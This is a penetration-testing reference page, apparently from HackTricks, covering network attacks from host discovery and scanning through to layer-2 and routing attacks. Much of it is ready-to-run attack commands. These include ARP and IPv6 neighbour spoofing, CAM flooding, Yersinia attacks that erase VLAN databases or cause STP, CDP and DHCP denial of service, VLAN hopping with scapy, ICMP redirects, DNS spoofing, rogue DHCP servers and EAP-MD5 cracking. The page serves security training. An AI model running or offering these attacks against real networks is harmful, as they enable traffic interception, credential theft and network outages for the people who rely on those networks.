Pentesting Network
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
This is going to be a brief section about how to find IPs responding from the Internet.
In this situation you have some scope of IPs (maybe even several ranges) and you just to find which IPs are responding.
This is the easiest and fastest way to discover if a host is up or not.
You could try to send some ICMP packets and expect responses. The easiest way is just sending an echo request and expect from the response. You can do that using a simple
pingor using fpingfor ranges.
You could also use nmap to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response).ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is try to find open ports. Each host has 65535 ports, so, if you have a "big" scope you cannot test if each port of each host is open or not, that will take too much time.
Then, what you need is a fast port scanner (masscan) and a list of the ports more used:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
You could also perform this step with
nmap, but it slower and somewhat nmaphas problems identifying hosts up.This is just a TCP port discovery useful when you want to focus on discovering HTTP services:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
You could also try to check for some UDP port open to decide if you should pay more attention to a host. As UDP services usually don't respond with any data to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
The nmap line proposed before will test the top 1000 UDP ports in every host inside the /24 range but even only this will take >20min. If need fastest results you can use udp-proto-scanner:
./udp-proto-scanner.pl 199.66.11.53/24 This will send these UDP probes to their expected port (for a /24 range this will just take 1 min): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Here you can find a nice guide of all the well known Wifi attacks at the time of the writing:
If you are inside the network one of the first things you will want to do is to discover other hosts. Depending on how much noise you can/want to do, different actions could be performed:
You can use these tools to passively discover hosts inside a connected network:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Note that the techniques commented in Discovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) can be also applied here.
But, as you are in the same network as the other hosts, you can do more things:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Note that the techniques commented in Discovering hosts from the outside (ICMP) can be also applied here.
But, as you are in the same network as the other hosts, you can do more things:
- If you ping a subnet broadcast address the ping should be arrive to each host and they could respond to you:
ping -b 10.10.5.255 - Pinging the network broadcast address you could even find hosts inside other subnets:
ping -b 255.255.255.255 - Use the
-PEPMflag ofnmapto perform host discovery sending ICMPv4 echo, timestamp, and subnet mask requests:nmap -PEPM -sP –vvv -n 10.12.5.0/24
Wake On Lan is used to turn on computers through a network message. The magic packet used to turn on the computer is only a packet where a MAC Dst is provided and then it is repeated 16 times inside the same paket.
Then this kind of packets are usually sent in an ethernet 0x0842 or in a UDP packet to port 9.
If no [MAC] is provided, the packet is sent to broadcast ethernet (and the broadcast MAC will be the one being repeated).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed.
- Open port: SYN --> SYN/ACK --> RST
- Closed port: SYN --> RST/ACK
- Filtered port: SYN --> [NO RESPONSE]
- Filtered port: SYN --> ICMP message
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
There are 2 options to scan an UDP port:
- Send a UDP packet and check for the response ICMP unreachable if the port is closed (in several cases ICMP will be filtered so you won't receive any information inf the port is close or open).
- Send a formatted datagrams to elicit a response from a service (e.g., DNS, DHCP, TFTP, and others, as listed in nmap-payloads). If you receive a response, then, the port is open.
Nmap will mix both options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP sits alongside TCP and UDP. Intended to provide transport of telephony data over IP, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks.
Two different scans for SCTP are offered by nmap: -sY and -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
Misconfigured routers, firewalls, and network devices sometimes respond to network probes using nonpublic source addresses. You can use tcpdump used to identify packets received from private addresses during testing. In this case, the eth2 interface in Kali Linux is addressable from the public Internet (If you are behind a NAT of a Firewall this kind of packets are probably going to be filtered).
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.
If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Obviously.
You can use tools like https://github.com/lgandx/PCredz to parse credentials from a pcap or a live interface.
ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic).
macof -i <interface>
In modern switches this vulnerability has been fixed.
DTP (Dynamic Trunking Protocol) is a link layer protocol designed to provide an automatic trunking system. With DTP, switches decide which port will work in trunk mode (Trunk) and which will not. The use of DTP indicates poor network design. Trunks should be strictly where they are needed, and it should be documented.
By default, all switch ports operate in Dynamic Auto mode. This indicates that the switch port is in trunk initiation mode from the neighbouring switch. The Pentester needs to physically connect to the switch and send a DTP Desirable frame, which triggers the port to switch to trunk mode. The attacker can then enumerate VLANs using STP frame analysis and bypass VLAN segmentation by creating virtual interfaces.
Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to emulate a switch and receive traffic across all VLANs. The tool dtpscan.sh can sniff an interface and reports if switch is in Default mode, trunk, dynamic, auto or access mode (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not.
If it was discovered that the the network is vulnerable, you can use Yersinia to launch an "enable trunking" using protocol "DTP" and you will be able to see network packets from all the VLANs.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script DTPHijacking.py. Do not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.
sudo python3 DTPHijacking.py --interface eth0
I would like to point out that Access/Desirable (0x03) indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And 802.1Q/802.1Q (0xa5) indicates the 802.1Q encapsulation type.
By analyzing the STP frames, we learn about the existence of VLAN 30 and VLAN 60.
Once you known VLAN IDs and IPs values, you can configure a virtual interface to attack a specific VLAN.
If DHCP is not available, then use ifconfig to set a static IP address.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
The discussed attack of Dynamic Trunking and creating virtual interfaces an discovering hosts inside other VLANs are automatically performed by the tool: https://github.com/nccgroup/vlan-hopping---frogger
If an attacker knows the value of the MAC, IP and VLAN ID of the victim host, he could try to double tag a frame with its designated VLAN and the VLAN of the victim and send a packet. As the victim won't be able to connect back with the attacker, so the best option for the attacker is communicate via UDP to protocols that can perform some interesting actions (like SNMP).
Another option for the attacker is to launch a TCP port scan spoofing an IP controlled by the attacker and accessible by the victim (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.
To perform this attack you could use scapy:
pip install scapyfrom scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
If you have access to a switch that you are directly connected to, you have the ability to bypass VLAN segmentation within the network. Simply switch the port to trunk mode (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
In guest wireless networks and other environments, private VLAN (also known as port isolation) settings are used to prevent peers from interacting (i.e., clients connect to a wireless access point but cannot address one another). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.
This attack will send a specially crafted packet to the IP of a client but with the MAC of the router. Then, the router will redirect the packet to the client. As in Double Tagging Attacks you can exploit this vulnerability by controlling a host accessible by the victim.
VTP (VLAN Trunking Protocol) is a protocol designed to centrally manage VLANs. To keep track of the current VLAN database, switches check special revision numbers. When any table update occurs, the revision number is incremented by one. And if a switch detects a configuration with a higher revision number, it will automatically update its VLAN database.
- VTP Server. A switch in the VTP Server role can create new VLANs, delete old ones, or change information in the VLANs themselves. It also generates VTP announcements for the rest of the domain members.
- VTP Client. A switch in this role will receive specific VTP announcements from other switches in the domain to update the VLAN databases on its own. Clients are limited in their ability to create VLANs and are not even allowed to change the VLAN configuration locally. In other words, read only access.
- VTP Transparent. In this mode, the switch does not participate in VTP processes and can host full and local administration of the entire VLAN configuration. When operating in transparent mode, switches only transmit VTP announcements from other switches without affecting their VLAN configuration. Such switches will always have a revision number of zero and cannot be attacked.
- Summary Advertisement — the VTP announcement that the VTP server sends every 300 seconds (5 minutes). This announcement stores the VTP domain name, protocol version, timestamp, and MD5 configuration hash value.
- Subset Advertisement — this is the VTP advertisement that is sent whenever a VLAN configuration change occurs.
- Advertisement Request — is a request from the VTP client to the VTP server for a Summary Advertisement message. Usually sent in response to a message that a switch has detected a Summary Advertisement with a higher configuration revision number.
VTP can only be attacked from a trunk port, because VTP announcements are only broadcast and received on trunk ports. Therefore, when pentesting after attacking DTP, your next target could be VTP. To attack the VTP domain you can use Yersinia to run a VTP inject that will erase the entire VLAN database and thus paralyze the network.
The VTP protocol has as many as three versions. In this post the attack is against the first version, VTPv1
yersinia -G #For graphic mode
To erase the entire VLAN database, select the deleting all VTP vlans option
If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.
Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.
This is done by sending BPDUs CONF packets saying that the priority value is less than the actual priority of the actual root switch.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him (a MITM attack will be performed).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, discover who is alive and what features does they have.
By default, the CDP sends announcements to all its ports. But what if an intruder connects to a port on the same switch? Using a network sniffer, be it Wireshark, tcpdump or Yersinia, he could extract valuable information about the device itself, from its model to the Cisco IOS version. Using this information he will be able to enumerate the same version of Cisco IOS and find the vulnerability and then exploit it.
You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices.
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G
Select the flooding CDP table option and start the attack. The switch CPU will be overloaded, as well as the CDP neighbor table, resulting in “network paralysis”.
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Although intended for use by the employees’ Voice over Internet Protocol (VoIP) phones, modern VoIP devices are increasingly integrated with IoT devices. Many employees can now unlock doors using a special phone number, control the room’s thermostat...
The tool voiphopper mimics the behavior of a VoIP phone in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically discovers the correct VLAN ID for the voice network using one of the device discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP.
VoIP Hopper supports three CDP modes. The sniff mode inspects the network packets and attempts to locate the VLAN ID. To use it, set the
-c parameter to 0. The spoof mode generates custom packets similar to the ones a real VoIP device would transmit in the corporate network. To use it, set the -c parameter to 1. The spoof with a pre-madepacket mode sends the same packets as a Cisco 7971G-GE IP phone. To use it, set the -c parameter to 2.We use the last method because it’s the fastest approach. The
-i parameter specifies the attacker’s network interface, and the -E parameter specifies the name of the VOIP device being imitated. We chose the name SEP001EEEEEEEEE, which is compatible with the Cisco naming format for VoIP phones. The format consists of the word “SEP” followed by a MAC address. In corporate environments, you can imitate an existing VoIP device by looking at the MAC label on the back of the phone; by pressing the Settings button and selecting the Model Information option on the phone’s display screen; or by attaching the VoIP device’s Ethernet cable to your laptop and observing the device’s CDP requests using Wireshark.voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
If the tool executes successfully, the VLAN network will assign an IPv4 address to the attacker’s device.
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Two types of DoS could be performed against DHCP servers. The first one consists on simulate enough fake hosts to use all the possible IP addresses.
This attack will work only if you can see the responses of the DHCP server and complete the protocol (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server)). For example, this is not possible in Wifi networks.
Another way to perform a DHCP DoS is to send a DHCP-RELEASE packet using as source code every possible IP. Then, the server will think that everybody has finished using the IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, you can server malicious values mentioned in the next attack.
You can use Responder DHCP script (/usr/share/responder/DHCP.py) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular.
Description | Example |
|---|---|
Our IP address, advertised as a gateway | -i 10.0.0.100 |
The local DNS domain name (optional) | -d example.org |
IP address of the original router/gateway | -r 10.0.0.1 |
Primary DNS server IP address | -p 10.0.0.100 |
Secondary DNS server IP address (optional) | -s 10.0.0.1 |
The netmask of the local network | -n 255.255.255.0 |
The interface to listen for DHCP traffic on | -I eth1 |
WPAD configuration address (URL) | |
Spoof the default gateway IP address | -S |
Respond to all DHCP requests (very noisy) | -R |
Here are some of the attack tactics that can be used against 802.1X implementations:
- Active brute-force password grinding via EAP
- Attacking the RADIUS server with malformed EAP content **(exploits)
- EAP message capture and offline password cracking (EAP-MD5 and PEAP)
- Forcing EAP-MD5 authentication to bypass TLS certificate validation
- Injecting malicious network traffic upon authenticating using a hub or similar
If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (First Hop Redundancy Protocol) is a class of network protocols designed to create a hot redundant routing system. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load.
Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.
Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6.
For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).
EIGRP (Enhanced Interior Gateway Routing Protocol) is a dynamic routing protocol. It is a distance-vector protocol. If there is no authentication and configuration of passive interfaces, an intruder can interfere with EIGRP routing and cause routing tables poisoning. Moreover, EIGRP network (in other words, autonomous system) is flat and has no segmentation into any zones. If an attacker injects a route, it is likely that this route will spread throughout the autonomous EIGRP system.
To attack a EIGRP system requires establishing a neighbourhood with a legitimate EIGRP router, which opens up a lot of possibilities, from basic reconnaissance to various injections.
****FRRouting allows you to implement a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols. All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain.
****Coly also supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. For more info about how to attack it with Coly check Network Security Assessment: Know Your Network (3rd edition).
Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the Injection tab, and the key set under Connection.
For more information about how to attack this protocol go to the book Network Security Assessment: Know Your Network (3rd edition).
The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
The attacker will resolve some (or all) the domains that the victim ask for.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Configure own DNS with dnsmasq
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use gateway-finder.py to identify hosts that support IPv4 forwarding.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.
You can impersonate services that are searched by hosts using Responder to send fake responses.
Read here more information about how to Impersonate services with Responder.
Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., http://wpad.example.org/wpad.dat) upon being identified through any of the following:
- DNS, searching for the wpad hostname in the local domain
- Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)
Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.
Read here more information about how to Impersonate services with Responder.
You can offer different services in the network to try to trick a user to enter some plain-text credentials. More information about this attack in Spoofing SSDP and UPnP Devices.
This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.
sudo parasite6